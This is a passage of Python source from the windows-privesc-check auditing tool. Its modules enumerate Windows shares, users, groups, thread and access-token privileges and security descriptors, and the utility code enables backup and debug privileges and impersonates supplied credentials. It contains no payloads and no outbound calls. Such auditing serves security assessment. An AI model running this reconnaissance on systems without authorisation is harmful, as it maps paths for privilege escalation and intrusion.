47 | 48 | class drivers(services): 49 | def __init__(self): 50 | self.type = win32service.SERVICE_DRIVER 51 | self.scm = None 52 | self.services = [] 53 | self.get_services() 54 | -------------------------------------------------------------------------------- /wpc/share.py: -------------------------------------------------------------------------------- 1 | from wpc.file import file as File 2 | from wpc.sd import sd 3 | import win32net 4 | import wpc.conf 5 | 6 | 7 | class share: 8 | def __init__(self, name): 9 | self.name = name 10 | self.info = None 11 | self.description = None 12 | self.passwd = None 13 | self.current_uses = None 14 | self.max_uses = None 15 | self.path = None 16 | self.type = None 17 | self.sd = None 18 | self.permissions = None 19 | 20 | def get_name(self): 21 | return self.name 22 | 23 | def get_info(self): 24 | if not self.info: 25 | try: 26 | shareinfo = win32net.NetShareGetInfo(wpc.conf.remote_server, self.get_name(), 502) 27 | self.description = shareinfo['reserved'] 28 | self.passwd = shareinfo['passwd'] 29 | self.current_uses = shareinfo['current_uses'] 30 | self.max_uses = shareinfo['max_uses'] 31 | 32 | if shareinfo['path']: 33 | # self.path = File(shareinfo['path']) 34 | #else: 35 | self.path = shareinfo['path'] 36 | 37 | self.type = shareinfo['type'] 38 | 39 | if shareinfo['security_descriptor']: 40 | self.sd = sd('share', shareinfo['security_descriptor']) 41 | else: 42 | self.sd = None 43 | 44 | self.perms = shareinfo['permissions'] 45 | 46 | self.info = shareinfo 47 | except: 48 | pass 49 | return self.info 50 | 51 | def get_description(self): 52 | if not self.description: 53 | self.get_info() 54 | 55 | return self.description 56 | 57 | def get_path(self): 58 | if not self.path: 59 | self.get_info() 60 | 61 | return self.path 62 | 63 | def get_passwd(self): 64 | if not self.passwd: 65 | self.get_info() 66 | 67 | return self.passwd 68 | 69 | def get_current_uses(self): 70 | if not self.current_uses: 71 | self.get_info() 72 | 73 | return self.current_uses 74 | 75 | def get_max_uses(self): 76 | if not self.max_uses: 77 | self.get_info() 78 | 79 | return self.max_uses 80 | 81 | # Ignore this. 82 | # "Note that Windows does not support share-level security." 83 | # http://msdn.microsoft.com/en-us/library/bb525410(v=vs.85).aspx 84 | def get_permissions(self): 85 | if not self.permissions: 86 | self.get_info() 87 | 88 | return self.permissions 89 | 90 | def get_sd(self): 91 | if not self.sd: 92 | self.get_info() 93 | 94 | return self.sd 95 | 96 | def as_text(self): 97 | t = '--- start share ---\n' 98 | t += 'Share Name: ' + str(self.get_name()) + '\n' 99 | t += 'Description: ' + str(self.get_description()) + '\n' 100 | if self.get_path(): 101 | t += 'Path: ' + str(self.get_path()) + '\n' 102 | else: 103 | t += 'Path: None\n' 104 | t += 'Passwd: ' + str(self.get_passwd()) + '\n' 105 | t += 'Current Uses: ' + str(self.get_current_uses()) + '\n' 106 | t += 'Max Uses: ' + str(self.get_max_uses()) + '\n' 107 | t += 'Permissions: ' + str(self.get_permissions()) + '\n' 108 | 109 | if self.get_path(): 110 | f = File(self.get_path()) 111 | if f.exists(): 112 | if f.get_sd(): 113 | t += 'Directory Security Descriptor:\n' 114 | t += f.get_sd().as_text() + '\n' 115 | else: 116 | t += 'Directory Security Descriptor: None (can\'t read sd)\n' 117 | else: 118 | t += 'Directory Security Descriptor: None (path doesn\'t exist)\n' 119 | else: 120 | t += 'Directory Security Descriptor: None (no path)\n' 121 | 122 | if self.get_sd(): 123 | t += 'Share Security Descriptor:\n' 124 | t += self.get_sd().as_text() + '\n' 125 | else: 126 | t += 'Share Security Descriptor: None\n' 127 | 128 | t += '--- end share ---\n' 129 | return t -------------------------------------------------------------------------------- /wpc/shares.py: -------------------------------------------------------------------------------- 1 | from wpc.share import share 2 | import win32net 3 | import wpc.conf 4 | 5 | 6 | class shares: 7 | def __init__(self): 8 | self.shares = [] 9 | pass 10 | 11 | def get_all(self): 12 | if self.shares == []: 13 | resume = 1; 14 | while resume: 15 | resume = 0 16 | sharelist = None 17 | try: 18 | (sharelist, total, resume) = win32net.NetShareEnum(wpc.conf.remote_server, 0, resume, 9999) 19 | except: 20 | print "[E] Can't check shares - not enough privs?" 21 | 22 | if sharelist: 23 | for shareitem in sharelist: 24 | s = share(shareitem['netname']) 25 | self.shares.append(s) 26 | 27 | return self.shares -------------------------------------------------------------------------------- /wpc/thread.py: -------------------------------------------------------------------------------- 1 | from wpc.file import file as File 2 | from wpc.sd import sd 3 | from wpc.token import token 4 | import win32api 5 | import win32con 6 | import win32security 7 | import wpc.utils 8 | import ctypes 9 | 10 | OpenThread = ctypes.windll.kernel32.OpenThread 11 | #OpenThreadToken = ctypes.windll.advapi32.OpenThreadToken 12 | 13 | class thread: 14 | def __init__(self, tid): 15 | self.tid = tid 16 | self.th = None 17 | self.tth = None 18 | self.token = None 19 | self.sd = None 20 | self.parent_process = None 21 | 22 | def get_tid(self): 23 | return self.tid 24 | 25 | def set_parent_process(self, p): 26 | self.parent_process = p 27 | 28 | def get_parent_process(self): 29 | return self.parent_process 30 | 31 | def get_sd(self): 32 | #print "[D] get_sd passed th: %s" % self.get_th() 33 | if not self.sd: 34 | try: 35 | secdesc = win32security.GetSecurityInfo(self.get_th(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION) 36 | #print "[D] secdesc: %s" % secdesc 37 | self.sd = sd('thread', secdesc) 38 | except: 39 | pass 40 | #print "[D] get_sd returning: %s" % self.sd 41 | return self.sd 42 | 43 | def get_th(self): 44 | if not self.th: 45 | try: 46 | # THREAD_ALL_ACCESS needed to get security descriptor 47 | self.th = OpenThread(win32con.MAXIMUM_ALLOWED, False, self.get_tid()) 48 | #print "Openthread with THREAD_ALL_ACCESS: Success" 49 | except: 50 | try: 51 | # THREAD_VM_READ is required to list modules (DLLs, EXE) 52 | self.th = OpenThread(win32con.THREAD_VM_READ | win32con.THREAD_QUERY_INFORMATION, False, self.get_tid()) 53 | #print "Openthread with VM_READ and THREAD_QUERY_INFORMATION: Success" 54 | except: 55 | #print "Openthread with VM_READ and THREAD_QUERY_INFORMATION: Failed" 56 | try: 57 | # We can still get some info without THREAD_VM_READ 58 | self.th = OpenThread(win32con.THREAD_QUERY_INFORMATION, False, self.get_tid()) 59 | #print "Openthread with THREAD_QUERY_INFORMATION: Success" 60 | except: 61 | #print "Openthread with THREAD_QUERY_INFORMATION: Failed" 62 | try: 63 | # If we have to resort to using THREAD_QUERY_LIMITED_INFORMATION, the thread is protected. 64 | # There's no point trying THREAD_VM_READ 65 | # Ignore pydev warning. We define this at runtime because win32con is out of date. 66 | self.th = OpenThread(win32con.THREAD_QUERY_LIMITED_INFORMATION, False, self.get_tid()) 67 | #print "Openthread with THREAD_QUERY_LIMITED_INFORMATION: Success" 68 | except: 69 | #print "Openthread with THREAD_QUERY_LIMITED_INFORMATION: Failed" 70 | self.th = None 71 | # self.th = win32api.PyHANDLE(self.th) 72 | #print "[D] get_th: %s" % self.th 73 | return self.th 74 | 75 | def get_tth(self): 76 | if not self.tth: 77 | import sys 78 | import pywintypes 79 | try: 80 | self.tth = win32security.OpenThreadToken(self.get_th(), win32con.MAXIMUM_ALLOWED, True) 81 | except pywintypes.error as e: 82 | #print sys.exc_info()[0] 83 | #print "xxx" 84 | #print "[E] %s: %s" % (e[1], e[2]) 85 | pass 86 | # try: 87 | # self.tth = win32security.OpenThreadToken(self.get_th(), win32con.TOKEN_READ, True) 88 | # except: 89 | # try: 90 | # self.tth = win32security.OpenThreadToken(self.get_th(), win32con.TOKEN_QUERY, True) 91 | #print "OpenthreadToken with TOKEN_QUERY: Failed" 92 | # except: 93 | # pass 94 | # print "[D] TTH: %s" % self.tth 95 | return self.tth 96 | 97 | def get_token(self): 98 | if not self.token: 99 | if self.get_tth(): 100 | self.token = token(self.get_tth()) 101 | #print "thread get_token: %s" % self.token 102 | return self.token 103 | 104 | def as_text(self): 105 | t = '' 106 | t += "-------------------------------------------------\n" 107 | t += "TID: " + str(self.get_tid()) + "\n" 108 | t += "\nThread Security Descriptor:\n" 109 | if self.get_sd(): 110 | t += self.get_sd().as_text() 111 | 112 | t += "\nThread Access Token:\n" 113 | tok = self.get_token() 114 | if tok: 115 | t += "Thread token found:\n" 116 | t += tok.as_text() 117 | else: 118 | t += "[None - thread not impersonating]\n" 119 | 120 | return t 121 | -------------------------------------------------------------------------------- /wpc/token.py: -------------------------------------------------------------------------------- 1 | from wpc.principal import principal 2 | from wpc.sd import sd 3 | import ntsecuritycon 4 | import win32security 5 | import wpc.conf 6 | 7 | 8 | class token: 9 | def __init__(self, th): 10 | self.th = th # token handle 11 | self.token_type = None 12 | self.token_groups = [] 13 | self.token_origin = None 14 | self.token_source = None 15 | self.token_restrictions = None 16 | self.token_elevation_type = None 17 | self.token_ui_access = None 18 | self.token_linked_token = None 19 | self.token_logon_sid = None 20 | self.token_elevation = None 21 | self.token_integrity_level = None 22 | self.token_mandatory_policy = None 23 | self.token_restricted_sids = [] 24 | self.token_impersonation_level = None 25 | self.token_restricted = None 26 | self.token_user = None 27 | self.token_primary_group = None 28 | self.token_owner = None 29 | self.token_privileges = [] 30 | self.sd = None 31 | pass 32 | 33 | def get_th(self): 34 | return self.th 35 | 36 | def get_th_int(self): 37 | return int(self.th) 38 | 39 | def get_sd(self): 40 | if not self.sd: 41 | try: 42 | # TODO also get mandatory label 43 | secdesc = win32security.GetSecurityInfo(self.get_th(), win32security.SE_KERNEL_OBJECT, win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION | win32security.GROUP_SECURITY_INFORMATION) 44 | self.sd = sd('token', secdesc) 45 | except: 46 | pass 47 | return self.sd 48 | 49 | def get_token_groups(self): 50 | if self.token_groups == []: 51 | try: 52 | for tup in win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenGroups): 53 | sid = tup[0] 54 | attr = tup[1] 55 | attr_str = attr 56 | if attr < 0: 57 | attr = 2 ** 32 + attr 58 | attr_str_a = [] 59 | if attr & 1: 60 | attr_str_a.append("MANDATORY") 61 | if attr & 2: 62 | attr_str_a.append("ENABLED_BY_DEFAULT") 63 | if attr & 4: 64 | attr_str_a.append("ENABLED") 65 | if attr & 8: 66 | attr_str_a.append("OWNER") 67 | if attr & 0x40000000: 68 | attr_str_a.append("LOGON_ID") 69 | self.token_groups.append((principal(sid), attr_str_a)) 70 | except: 71 | pass 72 | return self.token_groups 73 | 74 | def get_token_origin(self): 75 | if not self.token_origin and self.get_th(): 76 | self.token_origin = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenOrigin) 77 | return self.token_origin 78 | 79 | def get_token_source(self): 80 | if not self.token_source and self.get_th(): 81 | try: 82 | self.token_source = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenSource) 83 | except: 84 | pass 85 | return self.token_source 86 | 87 | def get_token_impersonation_level(self): 88 | if not self.token_impersonation_level and self.get_th(): 89 | try: 90 | self.token_impersonation_level = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenImpersonationLevel) 91 | except: 92 | pass 93 | return self.token_impersonation_level 94 | 95 | def get_token_restrictions(self): 96 | if not self.token_restrictions and self.get_th(): 97 | try: 98 | self.token_restrictions = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenHasRestrictions) 99 | except: 100 | pass 101 | return self.token_restrictions 102 | 103 | def get_token_restricted_sids(self): 104 | if self.token_restricted_sids == [] and self.get_th(): 105 | try: 106 | tups = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenRestrictedSids) 107 | for sid, i in tups: 108 | self.token_restricted_sids.append(principal(sid)) 109 | except: 110 | pass 111 | return self.token_restricted_sids 112 | 113 | def get_token_elevation_type(self): 114 | if not self.token_elevation_type and self.get_th(): 115 | try: 116 | self.token_elevation_type = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenElevationType) 117 | if self.token_elevation_type == 1: 118 | self.token_elevation_type = "TokenElevationTypeDefault" 119 | elif self.token_elevation_type == 2: 120 | self.token_elevation_type = "TokenElevationTypeFull" 121 | elif self.token_elevation_type == 3: 122 | self.token_elevation_type = "TokenElevationTypeLimited" 123 | else: 124 | self.token_elevation_type = "Unknown (%s)" % self.token_elevation_type 125 | except: 126 | pass 127 | return self.token_elevation_type 128 | 129 | def get_token_ui_access(self): 130 | if not self.token_ui_access and self.get_th(): 131 | try: 132 | self.token_ui_access = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenUIAccess) 133 | except: 134 | pass 135 | return self.token_ui_access 136 | 137 | def get_token_linked_token(self): 138 | if not self.token_linked_token and self.get_th(): 139 | try: 140 | self.token_linked_token = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenLinkedToken) 141 | except: 142 | pass 143 | return self.token_linked_token 144 | 145 | def get_token_logon_sid(self): 146 | if not self.token_logon_sid and self.get_th(): 147 | try: 148 | self.token_logon_sid = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenLogonSid) 149 | except: 150 | pass 151 | return self.token_logon_sid 152 | 153 | def get_token_elevation(self): 154 | if not self.token_elevation and self.get_th(): 155 | try: 156 | self.token_elevation = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenElevation) 157 | except: 158 | pass 159 | return self.token_elevation 160 | 161 | def get_token_integrity_level(self): 162 | if not self.token_integrity_level and self.get_th(): 163 | try: 164 | sid, i = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenIntegrityLevel) 165 | self.token_integrity_level = principal(sid) 166 | except: 167 | pass 168 | return self.token_integrity_level 169 | 170 | def get_token_mandatory_policy(self): 171 | if not self.token_mandatory_policy and self.get_th(): 172 | try: 173 | m = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenMandatoryPolicy) 174 | 175 | if m == 0: 176 | m = "OFF" 177 | elif m == 1: 178 | m = "NO_WRITE_UP" 179 | elif m == 2: 180 | m = "NEW_PROCESS_MIN" 181 | elif m == 3: 182 | m = "POLICY_VALID_MASK" 183 | else: 184 | m = str(m) 185 | self.token_mandatory_policy = m 186 | except: 187 | pass 188 | return self.token_mandatory_policy 189 | 190 | def get_token_type(self): 191 | if not self.token_type == [] and self.get_th(): 192 | try: 193 | tokentype = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenType) 194 | tokentype_str = "TokenImpersonation" 195 | if tokentype == 1: 196 | tokentype_str = "TokenPrimary" 197 | self.token_type = tokentype_str 198 | except: 199 | pass 200 | return self.token_type 201 | 202 | def get_token_restricted(self): 203 | if not self.token_restricted and self.get_th(): 204 | try: 205 | self.token_restricted = win32security.IsTokenRestricted(self.get_th()) 206 | except: 207 | pass 208 | return self.token_restricted 209 | 210 | # Link that explains how privs are added / removed from tokens: 211 | # http://support.microsoft.com/kb/326256 212 | def get_token_privileges(self): 213 | if self.token_privileges == [] and self.get_th(): 214 | #try: 215 | privs = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenPrivileges) 216 | 217 | for priv_tuple in privs: 218 | attr_str_a = [] 219 | priv_val = priv_tuple[0] 220 | attr = priv_tuple[1] 221 | attr_str = "unknown_attr(" + str(attr) + ")" 222 | if attr == 0: 223 | attr_str_a.append("[disabled but not removed]") 224 | if attr & 1: 225 | attr_str_a.append("ENABLED_BY_DEFAULT") 226 | if attr & 2: 227 | attr_str_a.append("ENABLED") 228 | if attr & 0x80000000: 229 | attr_str_a.append("USED_FOR_ACCESS") 230 | if attr & 4: 231 | attr_str_a.append("REMOVED") 232 | 233 | self.token_privileges.append((win32security.LookupPrivilegeName(wpc.conf.remote_server, priv_val), attr_str_a)) 234 | 235 | #except: 236 | # pass 237 | return self.token_privileges 238 | 239 | def get_token_user(self): 240 | if not self.token_user and self.get_th(): 241 | sidObj, intVal = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenUser) 242 | if sidObj: 243 | self.token_user = principal(sidObj) 244 | return self.token_user 245 | 246 | def get_token_primary_group(self): 247 | if not self.token_primary_group and self.get_th(): 248 | sidObj = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenPrimaryGroup) 249 | if sidObj: 250 | self.token_primary_group = principal(sidObj) 251 | return self.token_primary_group 252 | 253 | def get_token_owner(self): 254 | if not self.token_owner and self.get_th(): 255 | sidObj = win32security.GetTokenInformation(self.get_th(), ntsecuritycon.TokenOwner) 256 | if sidObj: 257 | self.token_owner = principal(sidObj) 258 | return self.token_owner 259 | 260 | def as_text_no_rec(self): 261 | t = '--- Start Access Token ---\n' 262 | 263 | if self.get_th(): 264 | t += "Token Handle: %s\n" % self.get_th() 265 | if self.get_token_owner(): 266 | t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n" 267 | if self.get_token_user(): 268 | t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n" 269 | if self.get_token_primary_group(): 270 | t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n" 271 | t += "Token Type: " + str(self.get_token_type()) + "\n" 272 | t += "Token Origin: " + str(self.get_token_origin()) + "\n" 273 | t += "Token Source: " + str(self.get_token_source()) + "\n" 274 | t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n" 275 | t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n" 276 | t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n" 277 | t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n" 278 | if self.get_token_linked_token(): 279 | t += token(self.get_token_linked_token()).as_text_no_rec2() 280 | t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n" 281 | t += "TokenElevation: " + str(self.get_token_elevation()) + "\n" 282 | t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n" 283 | t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n" 284 | t += "Token Resitrcted Sids:\n" 285 | for sid in self.get_token_restricted_sids(): 286 | t += "\t" + sid.get_fq_name() + "\n" 287 | t += "IsTokenRestricted: " + str(self.get_token_restricted()) + "\n" 288 | t += "Token Groups:\n" 289 | for g, attr_a in self.get_token_groups(): 290 | t += "\t%s: %s\n" % (g.get_fq_name(), "|".join(attr_a)) 291 | t += '--- End Access Token ---\n' 292 | return t 293 | 294 | def as_text_no_rec3(self): 295 | t = '--- Start Access Token ---\n' 296 | 297 | if self.get_token_owner(): 298 | t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n" 299 | if self.get_token_user(): 300 | t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n" 301 | if self.get_token_primary_group(): 302 | t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n" 303 | t += "Token Type: " + str(self.get_token_type()) + "\n" 304 | t += "Token Origin: " + str(self.get_token_origin()) + "\n" 305 | t += "Token Source: " + str(self.get_token_source()) + "\n" 306 | t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n" 307 | t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n" 308 | t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n" 309 | t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n" 310 | #if self.get_token_linked_token(): 311 | # t += token(self.get_token_linked_token()).as_text_no_rec2() 312 | t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n" 313 | t += "TokenElevation: " + str(self.get_token_elevation()) + "\n" 314 | t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n" 315 | t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n" 316 | t += "Token Resitrcted Sids:\n" 317 | for sid in self.get_token_restricted_sids(): 318 | t += "\t" + sid.get_fq_name() + "\n" 319 | t += "IsTokenRestricted: " + str(self.get_token_restricted()) + "\n" 320 | t += "Token Groups:\n" 321 | for g, attr_a in self.get_token_groups(): 322 | t += "\t%s: %s\n" % (g.get_fq_name(), "|".join(attr_a)) 323 | t += '--- End Access Token ---\n' 324 | return t 325 | 326 | def as_text_no_rec2(self): 327 | t = '--- Start Access Token ---\n' 328 | 329 | if self.get_token_owner(): 330 | t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n" 331 | if self.get_token_user(): 332 | t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n" 333 | if self.get_token_primary_group(): 334 | t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n" 335 | t += "Token Type: " + str(self.get_token_type()) + "\n" 336 | t += "Token Origin: " + str(self.get_token_origin()) + "\n" 337 | t += "Token Source: " + str(self.get_token_source()) + "\n" 338 | t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n" 339 | t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n" 340 | t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n" 341 | t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n" 342 | if self.get_token_linked_token(): 343 | t += token(self.get_token_linked_token()).as_text_no_rec3() 344 | t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n" 345 | t += "TokenElevation: " + str(self.get_token_elevation()) + "\n" 346 | t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n" 347 | t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n" 348 | t += "Token Resitrcted Sids:\n" 349 | for sid in self.get_token_restricted_sids(): 350 | t += "\t" + sid.get_fq_name() + "\n" 351 | t += "IsTokenRestricted: " + str(self.get_token_restricted()) + "\n" 352 | t += "Token Groups:\n" 353 | for g, attr_a in self.get_token_groups(): 354 | t += "\t%s: %s\n" % (g.get_fq_name(), "|".join(attr_a)) 355 | t += '--- End Access Token ---\n' 356 | return t 357 | 358 | def as_text(self): 359 | t = '--- start access token ---\n' 360 | 361 | if self.get_th_int(): 362 | t += "Token Handle: %s\n" % int(self.get_th_int()) 363 | if self.get_token_owner(): 364 | t += "Token Owner: " + str(self.get_token_owner().get_fq_name()) + "\n" 365 | if self.get_token_user(): 366 | t += "Token User: " + str(self.get_token_user().get_fq_name()) + "\n" 367 | if self.get_token_primary_group(): 368 | t += "Token Group: " + str(self.get_token_primary_group().get_fq_name()) + "\n" 369 | t += "Token Type: " + str(self.get_token_type()) + "\n" 370 | t += "Token Origin: " + str(self.get_token_origin()) + "\n" 371 | t += "Token Source: " + str(self.get_token_source()) + "\n" 372 | t += "TokenHasRestrictions: " + str(self.get_token_restrictions()) + "\n" 373 | t += "TokenElevationType: " + str(self.get_token_elevation_type()) + "\n" 374 | t += "TokenUIAccess: " + str(self.get_token_ui_access()) + "\n" 375 | t += "TokenLinkedToken: " + str(self.get_token_linked_token()) + "\n" 376 | if self.get_token_linked_token(): 377 | t += token(self.get_token_linked_token()).as_text_no_rec() 378 | t += "TokenLogonSid: " + str(self.get_token_logon_sid()) + "\n" 379 | t += "TokenElevation: " + str(self.get_token_elevation()) + "\n" 380 | if self.get_token_integrity_level(): 381 | t += "TokenIntegrityLevel: " + str(self.get_token_integrity_level().get_fq_name()) + "\n" 382 | else: 383 | t += "TokenIntegrityLevel: [unknown]\n" 384 | t += "TokenMandatoryPolicy: " + str(self.get_token_mandatory_policy()) + "\n" 385 | t += "Token Resitrcted Sids:\n" 386 | for sid in self.get_token_restricted_sids(): 387 | t += "\t" + sid.get_fq_name() + "\n" 388 | t += "IsTokenRestricted: " + str(self.get_token_restricted()) + "\n" 389 | t += "Token Groups:\n" 390 | for g, attr_a in self.get_token_groups(): 391 | t += "\t%s: %s\n" % (g.get_fq_name(), "|".join(attr_a)) 392 | t += "Token Privileges:\n" 393 | for p, a in self.get_token_privileges(): 394 | t += "\t%-32s: %s\n" % (str(p), "|".join(a)) 395 | t += "\nToken Security Descriptor:\n" 396 | if self.get_sd(): 397 | t += self.get_sd().as_text() 398 | t += '--- end access token ---\n' 399 | 400 | #print "token: as_text returning %s" % t 401 | return t 402 | -------------------------------------------------------------------------------- /wpc/user.py: -------------------------------------------------------------------------------- 1 | import wpc.conf 2 | from wpc.principal import principal 3 | import win32net 4 | 5 | 6 | # These have properties such as active, workstations that groups don't have 7 | class user(principal): 8 | def __init__(self, *args, **kwargs): 9 | principal.__init__(self, *args, **kwargs) 10 | self.member_of = [] 11 | self.effective_privileges = [] 12 | 13 | # populate principal.info['member_of'] (groups this user belongs to) 14 | # self.add_info({'member_of': " ".join(self.get_groups_fq_name())}) 15 | 16 | # populate principal.info['privileges'] (privs of user + privs of user's groups) 17 | # self.add_info({'privileges': " ".join(self.get_effective_privileges())}) 18 | 19 | def get_effective_privileges(self): 20 | if self.effective_privileges: 21 | return self.effective_privileges 22 | 23 | gprivileges = [] 24 | for g in self.get_groups(): 25 | gprivileges = list(list(gprivileges) + list(g.get_privileges())) 26 | 27 | return sorted(list(set(list(self.get_privileges()) + list(gprivileges)))) 28 | 29 | def get_groups_fq_name(self): 30 | if not self.member_of: 31 | self.member_of = self.get_groups() 32 | 33 | return map(lambda x: x.get_fq_name(), self.member_of) 34 | 35 | def get_groups(self): 36 | if self.member_of: 37 | return self.member_of 38 | 39 | from wpc.group import group as Group # we have to import here to avoid circular import 40 | 41 | g1 = [] 42 | g2 = [] 43 | 44 | try: 45 | g1 = win32net.NetUserGetLocalGroups(wpc.conf.remote_server, self.get_name(), 0) 46 | except: 47 | pass 48 | try: 49 | g2 = win32net.NetUserGetGroups(wpc.conf.remote_server, self.get_name()) 50 | except: 51 | pass 52 | for g in g2: 53 | g1.append(g[0]) 54 | for group in g1: 55 | gsid, s, i = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, group) 56 | self.member_of.append(Group(gsid)) 57 | 58 | return self.member_of 59 | -------------------------------------------------------------------------------- /wpc/users.py: -------------------------------------------------------------------------------- 1 | from wpc.user import user 2 | import win32net 3 | import wpc.conf 4 | 5 | 6 | class users(): 7 | def __init__(self): 8 | self.users = [] 9 | 10 | def get_filtered(self, ): 11 | if self.users == []: 12 | #try: 13 | level = 1 14 | resume = 0 15 | while True: 16 | userlist, total, resume = win32net.NetUserEnum(wpc.conf.remote_server, level, 0, resume, 999999) 17 | #print u 18 | for u in userlist: 19 | # self.users.append(user['name']) 20 | #try: 21 | sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name']) 22 | self.users.append(user(sid)) 23 | #except: 24 | # print "[E] failed to lookup sid of %s" % user['name'] 25 | if resume == 0: 26 | break 27 | return self.users 28 | 29 | def get_all(self): 30 | if self.users == []: 31 | #try: 32 | level = 0 33 | resume = 0 34 | while True: 35 | userlist, total, resume = win32net.NetUserEnum(wpc.conf.remote_server, level, 0, resume, 999999) 36 | #print u 37 | for u in userlist: 38 | # self.users.append(user['name']) 39 | #try: 40 | sid, name, type = wpc.conf.cache.LookupAccountName(wpc.conf.remote_server, u['name']) 41 | self.users.append(user(sid)) 42 | #except: 43 | # print "[E] failed to lookup sid of %s" % user['name'] 44 | if resume == 0: 45 | break 46 | #except: 47 | # print "[E] NetUserEnum failed" 48 | return self.users 49 | -------------------------------------------------------------------------------- /wpc/utils.py: -------------------------------------------------------------------------------- 1 | # Not a class 2 | # Just a collection of useful subs 3 | from wpc.cache import cache 4 | from wpc.file import file as File 5 | from wpc.group import group as Group 6 | from wpc.principal import principal 7 | from wpc.regkey import regkey 8 | from wpc.user import user 9 | import ctypes 10 | import ntsecuritycon 11 | import os 12 | import re 13 | import win32api 14 | import win32con 15 | import win32net 16 | import win32security 17 | import wpc.conf 18 | k32 = ctypes.windll.kernel32 19 | wow64 = ctypes.c_long(0) 20 | on64bitwindows = 1 21 | 22 | 23 | # There some strange stuff that we need to do in order 24 | # We hide it all in here 25 | # 26 | # args: 27 | # remote_server can IP be None (should be None if on localhost) 28 | def init(options): 29 | # Print banner with version and URL 30 | # print_banner() 31 | 32 | # Use some libs. This will malfunction if we don't use them BEFORE we disable WOW64. 33 | load_libs() 34 | 35 | # Disable WOW64 36 | disable_wow64() 37 | 38 | # Get privs that make the program work better 39 | # - only helpful if we're admin 40 | get_extra_privs() 41 | 42 | # Set remote server - needed for sid resolution before we call wpc.* code 43 | wpc.conf.remote_server = options.remote_host 44 | 45 | # Create cache object to cache SID lookups and other data 46 | # This is (or should) be used by many wpc.* classes 47 | wpc.conf.cache = cache() 48 | 49 | # Which permissions do we NOT care about? == who do we trust? 50 | define_trusted_principals() 51 | 52 | # Use the crendentials supplied (OK to call if no creds were supplied) 53 | impersonate(options.remote_user, options.remote_pass, options.remote_domain) 54 | 55 | 56 | def get_banner(): 57 | return "windows-privesc-check v%s (http://pentestmonkey.net/windows-privesc-check)\n" % get_version() 58 | 59 | 60 | def print_banner(): 61 | print get_banner() 62 | 63 | 64 | def get_version(): 65 | wpc.conf.version = "2.0" 66 | svnversion = "$Revision: 110 $" # Don't change this line. Auto-updated. 67 | svnnum = re.sub('[^0-9]', '', svnversion) 68 | if svnnum: 69 | wpc.conf.version = wpc.conf.version + "svn" + svnnum 70 | 71 | return wpc.conf.version 72 | 73 | 74 | # If we're admin then we assign ourselves some extra privs 75 | def get_extra_privs(): 76 | # Try to give ourselves some extra privs (only works if we're admin): 77 | # SeBackupPrivilege - so we can read anything 78 | # SeDebugPrivilege - so we can find out about other processes (otherwise OpenProcess will fail for some) 79 | # SeSecurityPrivilege - ??? what does this do? 80 | 81 | # Problem: Vista+ support "Protected" processes, e.g. audiodg.exe. We can't see info about these. 82 | # Interesting post on why Protected Process aren't really secure anyway: http://www.alex-ionescu.com/?p=34 83 | 84 | th = win32security.OpenProcessToken(win32api.GetCurrentProcess(), win32con.TOKEN_ADJUST_PRIVILEGES | win32con.TOKEN_QUERY) 85 | privs = win32security.GetTokenInformation(th, ntsecuritycon.TokenPrivileges) 86 | newprivs = [] 87 | for privtuple in privs: 88 | if privtuple[0] == win32security.LookupPrivilegeValue(wpc.conf.remote_server, "SeBackupPrivilege") or privtuple[0] == win32security.LookupPrivilegeValue(wpc.conf.remote_server, "SeDebugPrivilege") 